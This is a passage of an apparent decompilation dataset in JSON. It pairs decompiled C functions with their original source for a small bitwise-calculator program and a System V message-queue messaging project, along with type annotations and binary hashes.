puts(\"================================================================================\");\n}", "canonical_original_code": "void help()\n{\n puts(\"================================================================================\");\n printf(\"\\tFun with binary and bitwise operations!\\n\");\n printf(\"USAGE:\\n\");\n printf(\"input a one line command in the format of <integer1> <(optional)operator name> <(optional)integer2>\\n\");\n printf(\"valid operators(not case sensitive):\\n\");\n printf(\"\\tAND, OR, XOR, TWIDDLE, RSHIFT, LSHIFT\\n\");\n printf(\"\\t&, |, ^, ~, >>, <<\\n\");\n printf(\"examples:\\n\\t3 and 9 (3 & 9)\\n\\t4 RSHIFT 1 (4 >> 1)\\n\\t810 TWIDDLE (810 ~)\\n\\t47 XOR 39 (47 ^ 39)\\n\");\n puts(\"================================================================================\");\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "86a454cce72d084c22af8bbf99065232740e4fe3a2889f3ee4dd0fac0a9447ea" }, { "name": "dec_to_bin", "canonical_name": "func8", "repo": "jrenner/renbits", "decompiled_code": "void __fastcall dec_to_bin(__int64 a1)\n{\nint v1; // eax\nint v2; // eax\nchar *ptr; // [rsp+10h] [rbp-20h]\nint v4; // [rsp+1Ch] [rbp-14h]\n__int64 v5; // [rsp+20h] [rbp-10h]\nint v6; // [rsp+28h] [rbp-8h]\nint v7; // [rsp+2Ch] [rbp-4h]\n\nif ( a1 > 127 || a1 < -128 )\n{\nif ( a1 > 0x7FFF || a1 < -32768 )\n{\nif ( a1 > 0x7FFFFF || a1 < -8388608 )\n{\nif ( a1 >= 0x80000000LL || a1 <= (__int64)0xFFFFFFFF7FFFFFFFLL )\n{\nprintf(\"Number out of bounds: %ld\\n\", a1);\nexit(1);\n}\nv7 = 32;\n}\nelse\n{\nv7 = 24;\n}\n}\nelse\n{\nv7 = 16;\n}\n}\nelse\n{\nv7 = 8;\n}\nv6 = v7 - 1;\nv5 = 1LL;\nwhile ( v6 > 0 )\n{\nv5 *= 2LL;\n--v6;\n}\nptr = (char *)malloc(v7 + (v7 >> 2));\nv4 = 0;\nwhile ( v5 )\n{\nif ( !(v4 % 5) )\n{\nv1 = v4++;\nptr[v1] = 32;\n}\nv2 = v4++;\nif ( (v5 & a1) != 0 )\nptr[v2] = 49;\nelse\nptr[v2] = 48;\nv5 >>= 1;\n}\nptr[v4] = 0;\nprintf(\"%40s -> %d-BIT integer: %ld\", ptr, (unsigned int)v7, a1);\nif ( a1 >= 0 && a1 <= 255 )\nprintf(\" char: %c\", (unsigned int)a1);\nputchar(10);\nfree(ptr);\n}\n", "canonical_decompiled_code": "void __fastcall func8(__int64 a1)\n{\nint v1; // eax\nint v2; // eax\nchar *ptr; // [rsp+10h] [rbp-20h]\nint v4; // [rsp+1Ch] [rbp-14h]\n__int64 v5; // [rsp+20h] [rbp-10h]\nint v6; // [rsp+28h] [rbp-8h]\nint v7; // [rsp+2Ch] [rbp-4h]\n\nif ( a1 > 127 || a1 < -128 )\n{\nif ( a1 > 0x7FFF || a1 < -32768 )\n{\nif ( a1 > 0x7FFFFF || a1 < -8388608 )\n{\nif ( a1 >= 0x80000000LL || a1 <= (__int64)0xFFFFFFFF7FFFFFFFLL )\n{\nprintf(\"Number out of bounds: %ld\\n\", a1);\nexit(1);\n}\nv7 = 32;\n}\nelse\n{\nv7 = 24;\n}\n}\nelse\n{\nv7 = 16;\n}\n}\nelse\n{\nv7 = 8;\n}\nv6 = v7 - 1;\nv5 = 1LL;\nwhile ( v6 > 0 )\n{\nv5 *= 2LL;\n--v6;\n}\nptr = (char *)malloc(v7 + (v7 >> 2));\nv4 = 0;\nwhile ( v5 )\n{\nif ( !(v4 % 5) )\n{\nv1 = v4++;\nptr[v1] = 32;\n}\nv2 = v4++;\nif ( (v5 & a1) != 0 )\nptr[v2] = 49;\nelse\nptr[v2] = 48;\nv5 >>= 1;\n}\nptr[v4] = 0;\nprintf(\"%40s -> %d-BIT integer: %ld\", ptr, (unsigned int)v7, a1);\nif ( a1 >= 0 && a1 <= 255 )\nprintf(\" char: %c\", (unsigned int)a1);\nputchar(10);\nfree(ptr);\n}", "original_code": "void dec_to_bin(long n){\n int num_of_bits;\n if(n < 128 && n >= -128)\n num_of_bits = 8;\n else if(n < 32768 && n >= -32768)\n num_of_bits = 16;\n else if(n < 8388608 && n >= -8388608)\n num_of_bits = 24;\n else if(n < 2147483648 && n >= -2147483648)\n num_of_bits = 32;\n else{\n printf(\"Number out of bounds: %ld\\n\", n);\n exit(1);\n }\n int spaces = (num_of_bits / 4) - 1;\n int j = num_of_bits - 1;\n long check = 1;\n for(;j > 0; j--)\n check = check << 1;\n char *buff = malloc(sizeof(char) * (num_of_bits + 1 + spaces));\n int i = 0;\n while(check)\n {\n if ((i % 5) == 0)\n buff[i++] = ' ';\n if(n & check){\n buff[i++] = '1';\n }\n else\n buff[i++] = '0';\n check = check>>1;\n }\n buff[i]= '\\0';\n printf(\"%40s -> %d-BIT integer: %ld\", buff, num_of_bits, n);\n if(n >= 0 && n <= 255)\n printf(\" char: %c\", (int)n);\n printf(\"\\n\");\n free(buff);\n}", "canonical_original_code": "void dec_to_bin(long n){\n int num_of_bits;\n if(n < 128 && n >= -128)\n num_of_bits = 8;\n else if(n < 32768 && n >= -32768)\n num_of_bits = 16;\n else if(n < 8388608 && n >= -8388608)\n num_of_bits = 24;\n else if(n < 2147483648 && n >= -2147483648)\n num_of_bits = 32;\n else{\n printf(\"Number out of bounds: %ld\\n\", n);\n exit(1);\n }\n int spaces = (num_of_bits / 4) - 1;\n int j = num_of_bits - 1;\n long check = 1;\n for(;j > 0; j--)\n check = check << 1;\n char *buff = malloc(sizeof(char) * (num_of_bits + 1 + spaces));\n int i = 0;\n while(check)\n {\n if ((i % 5) == 0)\n buff[i++] = ' ';\n if(n & check){\n buff[i++] = '1';\n }\n else\n buff[i++] = '0';\n check = check>>1;\n }\n buff[i]= '\\0';\n printf(\"%40s -> %d-BIT integer: %ld\", buff, num_of_bits, n);\n if(n >= 0 && n <= 255)\n printf(\" char: %c\", (int)n);\n printf(\"\\n\");\n free(buff);\n}", "variable_types": [ [ "n", "long" ], [ "num_of_bits", "int" ], [ "spaces", "int" ], [ "j", "int" ], [ "check", "long" ], [ "buff", "char *" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "86a454cce72d084c22af8bbf99065232740e4fe3a2889f3ee4dd0fac0a9447ea" }, { "name": "run_bitwise_operation", "canonical_name": "func9", "repo": "jrenner/renbits", "decompiled_code": "void __fastcall run_bitwise_operation(const char *a1, __int64 a2, __int64 a3, int a4)\n{\nunsigned int v6; // [rsp+2Ch] [rbp-14h]\nconst char *v7; // [rsp+30h] [rbp-10h]\n__int64 v8; // [rsp+38h] [rbp-8h]\n\nv8 = 0LL;\nv6 = 0;\nif ( !strcasecmp(a1, \"and\") || !strcasecmp(a1, \"&\") )\n{\nv8 = a3 & a2;\nv7 = \"AND &\";\n}\nelse if ( !strcasecmp(a1, \"or\") || !strcasecmp(a1, \"|\") )\n{\nv8 = a3 | a2;\nv7 = \"OR |\";\n}\nelse if ( !strcasecmp(a1, \"xor\") || !strcasecmp(a1, \"^\") )\n{\nv8 = a3 ^ a2;\nv7 = \"XOR ^\";\n}\nelse if ( !strcasecmp(a1, \"twiddle\") || !strcasecmp(a1, \"~\") )\n{\nv8 = ~a2;\nv7 = \"TWIDDLE ~\";\n}\nelse if ( !strcasecmp(a1, \"rshift\") || !strcasecmp(a1, \">>\") )\n{\nv8 = a2 >> a3;\nv7 = \"RSHIFT >>\";\nv6 = a3;\n}\nelse if ( !strcasecmp(a1, \"lshift\") || !strcasecmp(a1, \"<<\") )\n{\nv8 = a2 << a3;\nv7 = \"LSHIFT <<\";\nv6 = a3;\n}\nelse if ( a4 > 1 )\n{\nprintf(\"Unhandled bitwise operator word argument: %s\\n\", a1);\nexit(1);\n}\ndec_to_bin(a2);\nif ( a4 == 3 && !v6 )\ndec_to_bin(a3);\nif ( a4 > 1 )\n{\nif ( v6 )\nprintf(\"%48s (%d)\\n\", v7, v6);\nelse\nprintf(\"%48s\\n\", v7);\ndec_to_bin(v8);\n}\n}\n", "canonical_decompiled_code": "void __fastcall func9(const char *a1, __int64 a2, __int64 a3, int a4)\n{\nunsigned int v6; // [rsp+2Ch] [rbp-14h]\nconst char *v7; // [rsp+30h] [rbp-10h]\n__int64 v8; // [rsp+38h] [rbp-8h]\n\nv8 = 0LL;\nv6 = 0;\nif ( !strcasecmp(a1, \"and\") || !strcasecmp(a1, \"&\") )\n{\nv8 = a3 & a2;\nv7 = \"AND &\";\n}\nelse if ( !strcasecmp(a1, \"or\") || !strcasecmp(a1, \"|\") )\n{\nv8 = a3 | a2;\nv7 = \"OR |\";\n}\nelse if ( !strcasecmp(a1, \"xor\") || !strcasecmp(a1, \"^\") )\n{\nv8 = a3 ^ a2;\nv7 = \"XOR ^\";\n}\nelse if ( !strcasecmp(a1, \"twiddle\") || !strcasecmp(a1, \"~\") )\n{\nv8 = ~a2;\nv7 = \"TWIDDLE ~\";\n}\nelse if ( !strcasecmp(a1, \"rshift\") || !strcasecmp(a1, \">>\") )\n{\nv8 = a2 >> a3;\nv7 = \"RSHIFT >>\";\nv6 = a3;\n}\nelse if ( !strcasecmp(a1, \"lshift\") || !strcasecmp(a1, \"<<\") )\n{\nv8 = a2 << a3;\nv7 = \"LSHIFT <<\";\nv6 = a3;\n}\nelse if ( a4 > 1 )\n{\nprintf(\"Unhandled bitwise operator word argument: %s\\n\", a1);\nexit(1);\n}\nfunc8(a2);\nif ( a4 == 3 && !v6 )\nfunc8(a3);\nif ( a4 > 1 )\n{\nif ( v6 )\nprintf(\"%48s (%d)\\n\", v7, v6);\nelse\nprintf(\"%48s\\n\", v7);\nfunc8(v8);\n}\n}", "original_code": "void run_bitwise_operation(char *word, long num1,\n long num2, int num_of_args){\n long result = 0;\n char *opname;\n int shift = 0;\n if (strcasecmp(word, \"and\") == 0 || strcasecmp(word, \"&\") == 0){\n result = num1 & num2;\n opname = \"AND &\";\n }\n else if (strcasecmp(word, \"or\") == 0 || strcasecmp(word, \"|\") == 0){\n result = num1 | num2;\n opname = \"OR |\";\n }\n else if (strcasecmp(word, \"xor\") == 0 || strcasecmp(word, \"^\") == 0){\n result = num1 ^ num2;\n opname = \"XOR ^\";\n }\n else if (strcasecmp(word, \"twiddle\") == 0 || strcasecmp(word, \"~\") == 0){\n result = ~num1;\n opname = \"TWIDDLE ~\";\n }\n else if (strcasecmp(word, \"rshift\") == 0 || strcasecmp(word, \">>\") == 0){\n result = num1 >> num2;\n opname = \"RSHIFT >>\";\n shift = num2;\n }\n else if (strcasecmp(word, \"lshift\") == 0 || strcasecmp(word, \"<<\") == 0){\n result = num1 << num2;\n opname = \"LSHIFT <<\";\n shift = num2;\n }\n else{\n if(num_of_args > 1){\n printf(\"Unhandled bitwise operator word argument: %s\\n\", word);\n exit(1);\n }\n }\n dec_to_bin(num1);\n if (num_of_args == 3 && !shift)\n dec_to_bin(num2);\n if (num_of_args > 1){\n if(shift)\n printf(\"%48s (%d)\\n\", opname, shift);\n else\n printf(\"%48s\\n\", opname);\n dec_to_bin(result);\n }\n}", "canonical_original_code": "void run_bitwise_operation(char *word, long num1, long num2, int num_of_args){\n long result = 0;\n char *opname;\n int shift = 0;\n if (strcasecmp(word, \"and\") == 0 || strcasecmp(word, \"&\") == 0){\n result = num1 & num2;\n opname = \"AND &\";\n }\n else if (strcasecmp(word, \"or\") == 0 || strcasecmp(word, \"|\") == 0){\n result = num1 | num2;\n opname = \"OR |\";\n }\n else if (strcasecmp(word, \"xor\") == 0 || strcasecmp(word, \"^\") == 0){\n result = num1 ^ num2;\n opname = \"XOR ^\";\n }\n else if (strcasecmp(word, \"twiddle\") == 0 || strcasecmp(word, \"~\") == 0){\n result = ~num1;\n opname = \"TWIDDLE ~\";\n }\n else if (strcasecmp(word, \"rshift\") == 0 || strcasecmp(word, \">>\") == 0){\n result = num1 >> num2;\n opname = \"RSHIFT >>\";\n shift = num2;\n }\n else if (strcasecmp(word, \"lshift\") == 0 || strcasecmp(word, \"<<\") == 0){\n result = num1 << num2;\n opname = \"LSHIFT <<\";\n shift = num2;\n }\n else{\n if(num_of_args > 1){\n printf(\"Unhandled bitwise operator word argument: %s\\n\", word);\n exit(1);\n }\n }\n dec_to_bin(num1);\n if (num_of_args == 3 && !shift)\n dec_to_bin(num2);\n if (num_of_args > 1){\n if(shift)\n printf(\"%48s (%d)\\n\", opname, shift);\n else\n printf(\"%48s\\n\", opname);\n dec_to_bin(result);\n }\n}", "variable_types": [ [ "word", "char *" ], [ "num1", "long" ], [ "num2", "long" ], [ "num_of_args", "int" ], [ "result", "long" ], [ "opname", "char *" ], [ "shift", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "86a454cce72d084c22af8bbf99065232740e4fe3a2889f3ee4dd0fac0a9447ea" }, { "name": "main", "canonical_name": "main", "repo": "jrenner/renbits", "decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\nchar s[112]; // [rsp+0h] [rbp-B0h] BYREF\nchar v4[40]; // [rsp+70h] [rbp-40h] BYREF\n__int64 v5; // [rsp+98h] [rbp-18h]\n__int64 v6; // [rsp+A0h] [rbp-10h]\nint v7; // [rsp+ACh] [rbp-4h]\n\nhelp();\nv6 = 0LL;\nv5 = 0LL;\nv7 = 0;\nwhile ( 1 )\n{\nprintf(\"(enter command or 'help'): \");\nfgets(s, 80, _bss_start);\nif ( strstr(s, \"help\") )\n{\nhelp();\n}\nelse\n{\ns[strlen(s) - 1] = 0;\nv7 = __isoc99_sscanf();\nif ( v7 <= 0 )\n{\nputs(\"Invalid input\");\n}\nelse\n{\nputs(\"================================================================================\");\nrun_bitwise_operation(v4, v6, v5, v7);\nputs(\"================================================================================\");\n}\n}\n}\n}\n", "canonical_decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\nchar s[112]; // [rsp+0h] [rbp-B0h] BYREF\nchar v4[40]; // [rsp+70h] [rbp-40h] BYREF\n__int64 v5; // [rsp+98h] [rbp-18h]\n__int64 v6; // [rsp+A0h] [rbp-10h]\nint v7; // [rsp+ACh] [rbp-4h]\n\nfunc7();\nv6 = 0LL;\nv5 = 0LL;\nv7 = 0;\nwhile ( 1 )\n{\nprintf(\"(enter command or 'help'): \");\nfgets(s, 80, _bss_start);\nif ( strstr(s, \"help\") )\n{\nfunc7();\n}\nelse\n{\ns[strlen(s) - 1] = 0;\nv7 = __isoc99_sscanf();\nif ( v7 <= 0 )\n{\nputs(\"Invalid input\");\n}\nelse\n{\nputs(\"================================================================================\");\nfunc9(v4, v6, v5, v7);\nputs(\"================================================================================\");\n}\n}\n}\n}", "original_code": "int main(){\n help();\n long num1 = 0;\n long num2 = 0;\n char word[40];\n char buff[100];\n int num_of_args = 0;\n while(1){\n printf(\"(enter command or 'help'): \");\n fgets(buff, 80, stdin);\n if(strstr(buff, \"help\")){\n help();\n continue;\n }\n buff[strlen(buff) - 1] = '\\0';\n num_of_args = sscanf(buff, \"%ld %s %ld\", &num1, word, &num2);\n if(num_of_args > 0){\n puts(\"================================================================================\");\n run_bitwise_operation(word, num1, num2, num_of_args);\n puts(\"================================================================================\");\n }\n else\n puts(\"Invalid input\");\n }\n return 0;\n}", "canonical_original_code": "int main(){\n help();\n long num1 = 0;\n long num2 = 0;\n char word[40];\n char buff[100];\n int num_of_args = 0;\n while(1){\n printf(\"(enter command or 'help'): \");\n fgets(buff, 80, stdin);\n if(strstr(buff, \"help\")){\n help();\n continue;\n }\n buff[strlen(buff) - 1] = '\\0';\n num_of_args = sscanf(buff, \"%ld %s %ld\", &num1, word, &num2);\n if(num_of_args > 0){\n puts(\"================================================================================\");\n run_bitwise_operation(word, num1, num2, num_of_args);\n puts(\"================================================================================\");\n }\n else\n puts(\"Invalid input\");\n }\n return 0;\n}", "variable_types": [ [ "num1", "long" ], [ "num2", "long" ], [ "word", "char [40]" ], [ "buff", "char [100]" ], [ "num_of_args", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "86a454cce72d084c22af8bbf99065232740e4fe3a2889f3ee4dd0fac0a9447ea" } ]
a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324
sandoval/so-ipcMessaging
[ [ "setup", "->", "queueIdForNode", "calculateConnectedNodes" ], [ "tearDown", "->", "freeNodeList" ], [ "listenForMessages", "->", "sendMessage" ], [ "sendMessage", "->", "listenForMessages", "connectNode" ], [ "connectNode", "->", "sendMessage", "queueIdForNode" ], [ "freeNodeList", "->", "tearDown" ], [ "calculateConnectedNodes", "->", "setup", "initNodeList" ], [ "initMessageList", "->" ], [ "initNode", "->", "initNodeList" ], [ "initNodeList", "->", "calculateConnectedNodes", "initNode" ], [ "queueIdForNode", "->", "setup", "connectNode" ] ]
[]
[ { "name": "setup", "canonical_name": "func0", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "__int64 __fastcall setup(int a1)\n{\nkey_t v1; // eax\nint *v2; // rax\n\nLODWORD(thisNode) = a1;\nv1 = queueIdForNode(thisNode, *(&thisNode + 1));\nHIDWORD(thisNode) = msgget(v1, 896);\nif ( HIDWORD(thisNode) == -1 )\n{\nv2 = _errno_location();\nprintf(\"Failed to create/retrieve queue for node %d: errno %d\\n\", (unsigned int)thisNode, (unsigned int)*v2);\nexit(1);\n}\n*(&thisNode + 1) = calculateConnectedNodes(thisNode, *(&thisNode + 1));\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(int a1)\n{\nkey_t v1; // eax\nint *v2; // rax\n\nLODWORD(thisNode) = a1;\nv1 = func10(thisNode, *(&thisNode + 1));\nHIDWORD(thisNode) = msgget(v1, 896);\nif ( HIDWORD(thisNode) == -1 )\n{\nv2 = _errno_location();\nprintf(\"Failed to create/retrieve queue for node %d: errno %d\\n\", (unsigned int)thisNode, (unsigned int)*v2);\nexit(1);\n}\n*(&thisNode + 1) = func6(thisNode, *(&thisNode + 1));\nreturn 0LL;\n}", "original_code": "int setup(int nodeId) {\n thisNode.id = nodeId;\n thisNode.msgid = msgget(queueIdForNode(thisNode), 01000 | 0600);\n if (thisNode.msgid == -1) {\n printf(\"Failed to create/retrieve queue for node %d: errno %d\\n\", thisNode.id, (*__errno_location ()));\n exit(1);\n }\n thisNode.connectedNodes = calculateConnectedNodes(thisNode);\n return 0;\n}", "canonical_original_code": "int setup(int nodeId) {\n thisNode.id = nodeId;\n thisNode.msgid = msgget(queueIdForNode(thisNode), 01000 | 0600);\n if (thisNode.msgid == -1) {\n printf(\"Failed to create/retrieve queue for node %d: errno %d\\n\", thisNode.id, (*__errno_location ()));\n exit(1);\n }\n thisNode.connectedNodes = calculateConnectedNodes(thisNode);\n return 0;\n}", "variable_types": [ [ "nodeId", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "tearDown", "canonical_name": "func1", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "__int64 tearDown()\n{\nmsgctl(HIDWORD(thisNode), 0, 0LL);\nfreeNodeList(*(&thisNode + 1));\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 func1()\n{\nmsgctl(HIDWORD(thisNode), 0, 0LL);\nfunc5(*(&thisNode + 1));\nreturn 0LL;\n}", "original_code": "int tearDown() {\n msgctl(thisNode.msgid, 0, ((void *)0));\n freeNodeList(thisNode.connectedNodes);\n return 0;\n}", "canonical_original_code": "int tearDown() {\n msgctl(thisNode.msgid, 0, ((void *)0));\n freeNodeList(thisNode.connectedNodes);\n return 0;\n}", "variable_types": [], "return_type": "int", "user_defined_types": [], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "listenForMessages", "canonical_name": "func2", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "void __fastcall listenForMessages(int a1, void (__fastcall *a2)(_DWORD *))\n{\nint *v2; // rax\n_DWORD *msgp; // [rsp+18h] [rbp-8h]\n\nmsgp = malloc(0xE8uLL);\nwhile ( msgrcv(HIDWORD(thisNode), msgp, 0xE0uLL, a1, 0) != -1 )\n{\nif ( msgp[5] == (_DWORD)thisNode )\na2(msgp);\nelse\nsendMessage(msgp);\n}\nv2 = _errno_location();\nprintf(\"An error occured while trying to receive message: %d\\n\", (unsigned int)*v2);\nfree(msgp);\n}\n", "canonical_decompiled_code": "void __fastcall func2(int a1, void (__fastcall *a2)(_DWORD *))\n{\nint *v2; // rax\n_DWORD *msgp; // [rsp+18h] [rbp-8h]\n\nmsgp = malloc(0xE8uLL);\nwhile ( msgrcv(HIDWORD(thisNode), msgp, 0xE0uLL, a1, 0) != -1 )\n{\nif ( msgp[5] == (_DWORD)thisNode )\na2(msgp);\nelse\nfunc3(msgp);\n}\nv2 = _errno_location();\nprintf(\"An error occured while trying to receive message: %d\\n\", (unsigned int)*v2);\nfree(msgp);\n}", "original_code": "void listenForMessages(int mtype, void (*callback)(message*)) {\n message* msg = malloc(sizeof(message));\n ssize_t errorCheck;\n while ((errorCheck = msgrcv(thisNode.msgid, msg, sizeof(message) - sizeof(long int), mtype, 0)) != (ssize_t)-1) {\n if (msg->mdata.destination != thisNode.id) {\n _sendMessage(msg);\n } else {\n callback(msg);\n }\n }\n if (errorCheck == (ssize_t)-1) {\n printf(\"An error occured while trying to receive message: %d\\n\", (*__errno_location ()));\n }\n free(msg);\n}", "canonical_original_code": "void listenForMessages(int mtype, void (*callback)(struct message *)) {\n struct message *msg = malloc(sizeof(message));\n long errorCheck;\n while ((errorCheck = msgrcv(thisNode.msgid, msg, sizeof(message) - sizeof(long), mtype, 0)) != (long)-1) {\n if (msg->mdata.destination != thisNode.id) {\n _sendMessage(msg);\n } else {\n callback(msg);\n }\n }\n if (errorCheck == (long)-1) {\n printf(\"An error occured while trying to receive message: %d\\n\", (*__errno_location ()));\n }\n free(msg);\n}", "variable_types": [ [ "mtype", "int" ], [ "callback", "void (*)(struct message { long mtype; struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; } mdata; } *)" ], [ "msg", "struct message { long mtype; struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; } mdata; } *" ], [ "errorCheck", "long" ] ], "return_type": "void", "user_defined_types": [ "struct message { long mtype; struct data mdata; }", "struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "sendMessage", "canonical_name": "func3", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "__int64 __fastcall sendMessage(__int64 a1)\n{\n*(_DWORD *)(a1 + 16) = thisNode;\nreturn sendMessage(a1);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1)\n{\n*(_DWORD *)(a1 + 16) = thisNode;\nreturn func3(a1);\n}", "original_code": "int sendMessage(message *msg) {\n msg->mdata.source = thisNode.id;\n return _sendMessage(msg);\n}", "canonical_original_code": "int sendMessage(struct message *msg) {\n msg->mdata.source = thisNode.id;\n return _sendMessage(msg);\n}", "variable_types": [ [ "msg", "struct message { long mtype; struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; } mdata; } *" ] ], "return_type": "int", "user_defined_types": [ "struct message { long mtype; struct data mdata; }", "struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "sendMessage", "canonical_name": "func3", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "__int64 __fastcall sendMessage(__int64 a1)\n{\n__int64 result; // rax\n__int64 v2; // rax\nunsigned int *v3; // [rsp+18h] [rbp-8h]\n\nif ( *(_DWORD *)(a1 + 20) == (_DWORD)thisNode )\n{\nputs(\"Cannot send message to itself!\");\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\nv3 = (unsigned int *)nextNodeInRoute(a1);\nif ( v3 )\n{\nif ( (unsigned int)connectNode(v3) )\n{\nprintf(\"Couldn't connect to node %d!\\n\", *v3);\nresult = 4294967293LL;\n}\nelse\n{\nif ( *(_DWORD *)(a1 + 16) == (_DWORD)thisNode )\n{\nv2 = currentMessageId++;\n*(_QWORD *)(a1 + 8) = v2;\n}\nif ( msgsnd(v3[1], (const void *)a1, 0xE0uLL, 0) == -1 )\n{\nputs(\"Error sending message!\");\nresult = 4294967292LL;\n}\nelse\n{\nresult = 0LL;\n}\n}\n}\nelse\n{\nputs(\"Unknown routing error!\");\nresult = 4294967294LL;\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1)\n{\n__int64 result; // rax\n__int64 v2; // rax\nunsigned int *v3; // [rsp+18h] [rbp-8h]\n\nif ( *(_DWORD *)(a1 + 20) == (_DWORD)thisNode )\n{\nputs(\"Cannot send message to itself!\");\nresult = 0xFFFFFFFFLL;\n}\nelse\n{\nv3 = (unsigned int *)nextNodeInRoute(a1);\nif ( v3 )\n{\nif ( (unsigned int)func4(v3) )\n{\nprintf(\"Couldn't connect to node %d!\\n\", *v3);\nresult = 4294967293LL;\n}\nelse\n{\nif ( *(_DWORD *)(a1 + 16) == (_DWORD)thisNode )\n{\nv2 = currentMessageId++;\n*(_QWORD *)(a1 + 8) = v2;\n}\nif ( msgsnd(v3[1], (const void *)a1, 0xE0uLL, 0) == -1 )\n{\nputs(\"Error sending message!\");\nresult = 4294967292LL;\n}\nelse\n{\nresult = 0LL;\n}\n}\n}\nelse\n{\nputs(\"Unknown routing error!\");\nresult = 4294967294LL;\n}\n}\nreturn result;\n}", "original_code": "int sendMessage(message *msg) {\n msg->mdata.source = thisNode.id;\n return _sendMessage(msg);\n}", "canonical_original_code": "int sendMessage(struct message *msg) {\n msg->mdata.source = thisNode.id;\n return _sendMessage(msg);\n}", "variable_types": [ [ "msg", "struct message { long mtype; struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; } mdata; } *" ] ], "return_type": "int", "user_defined_types": [ "struct message { long mtype; struct data mdata; }", "struct data { long messageId; int source; int destination; long referencedMessageId; char text[200]; }" ], "binary_hash": "a46f6fa194030e989d4ffc50b74878cf4191762ec16ae68a5f8c4a3f5f9c7324" }, { "name": "connectNode", "canonical_name": "func4", "repo": "sandoval/so-ipcMessaging", "decompiled_code": "__int64 __fastcall connectNode(_QWORD *a1)\n{\n__int64 result; // rax\nkey_t v2; // eax\nkey_t v3; // eax\nint v4; // [rsp+1Ch] [rbp-4h]\n\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\npthread_mutex_lock(&connectionMutex);\nif ( *((_DWORD *)a1 + 1) == -1 )\n{\nv4 = 2;\nv2 = queueIdForNode(*a1, a1[1]);\n*((_DWORD *)a1 + 1) = msgget(v2, 0);\nwhile ( *((_DWORD *)a1 + 1) == -1 && v4 > 0 )\n{\nsleep(1u);\nv3 = queueIdForNode(*a1, a1[1]);\n*((_DWORD *)a1 + 1) = msgget(v3, 0);\n--v4;\n}\npthread_mutex_unlock(&connectionMutex);\nif ( *((_DWORD *)a1 + 1) == -1 )\nresult = 0xFFFFFFFFLL;\nelse\nresult = 0LL;\n}\nelse\n{\npthread_mutex_unlock(&connectionMutex);\nresult = 0LL;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(_QWORD *a1)\n{\n__int64 result; // rax\nkey_t v2; // eax\nkey_t v3; // eax\nint v4; // [rsp+1Ch] [rbp-4h]\n\nif ( !a1 )\nreturn 0xFFFFFFFFLL;\npthread_mutex_lock(&connectionMutex);\nif ( *((_DWORD *)a1 + 1) == -1 )\n{\nv4 = 2;\nv2 = func10(*a1, a1[1]);\n*((_DWORD *)a1 + 1) = msgget(v2, 0);\nwhile ( *((_DWORD *)a1 + 1) == -1 && v4 > 0 )\n{\nsleep(1u);\nv3 = func10(*a1, a1[1]);\n*((_DWORD *)a1 + 1) = msgget(v3, 0);\n--v4;\n}\npthread_mutex_unlock(&connectionMutex);\nif ( *((_DWORD *)a1 + 1) == -1 )\nresult = 0xFFFFFFFFLL;\nelse\nresult = 0LL;\n}\nelse\n{\npthread_mutex_unlock(&connectionMutex);\nresult = 0LL;\n}\nreturn result;\n}", "original_code": "int connectNode(nodeInfo* node) {\n if (node == ((void *)0))\n return -1;\n pthread_mutex_lock(&connectionMutex);\n if (node->msgid != -1) {\n pthread_mutex_unlock(&connectionMutex);\n return 0;\n } else {\n int i = 2;\n node->msgid = msgget(queueIdForNode(*node), 0);\n while ((node->msgid == -1) && (i > 0)) {\n sleep(1);\n node->msgid = msgget(queueIdForNode(*node), 0);\n i--;\n }\n pthread_mutex_unlock(&connectionMutex);\n }\n if (node->msgid != -1)\n return 0;\n else\n return -1;\n}", "canonical_original_code": "int connectNode(struct nodeInfo *node) {\n if (node == ((void *)0))\n return -1;\n pthread_mutex_lock(&connectionMutex);\n if (node->msgid != -1) {\n pthread_mutex_unlock(&connectionMutex);\n return 0;\n } else {\n int i = 2;\n node->msgid = msgget(queueIdForNode(*node), 0);\n while ((node->msgid == -1) && (i > 0)) {\n sleep(1);\n node->msgid = msgget(queueIdForNode(*node), 0);\n i--;\n }\n pthread_mutex_unlock(&connectionMutex);\n }\n if (node->msgid != -1)\n return 0;\n else\n return -1;\n}", "variable_types": [ [ "node", "struct nodeInfo { int id; int msgid; struct nodeList { struct nodeInfo *node; struct nodeList *next; } *connectedNodes; } *" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [ "struct nodeInfo { int id; int msgid; struct nodeList *connectedNodes; }", "struct nodeList { struct nodeInfo *node; struct nodeList *next; }" ], "binary_hash": 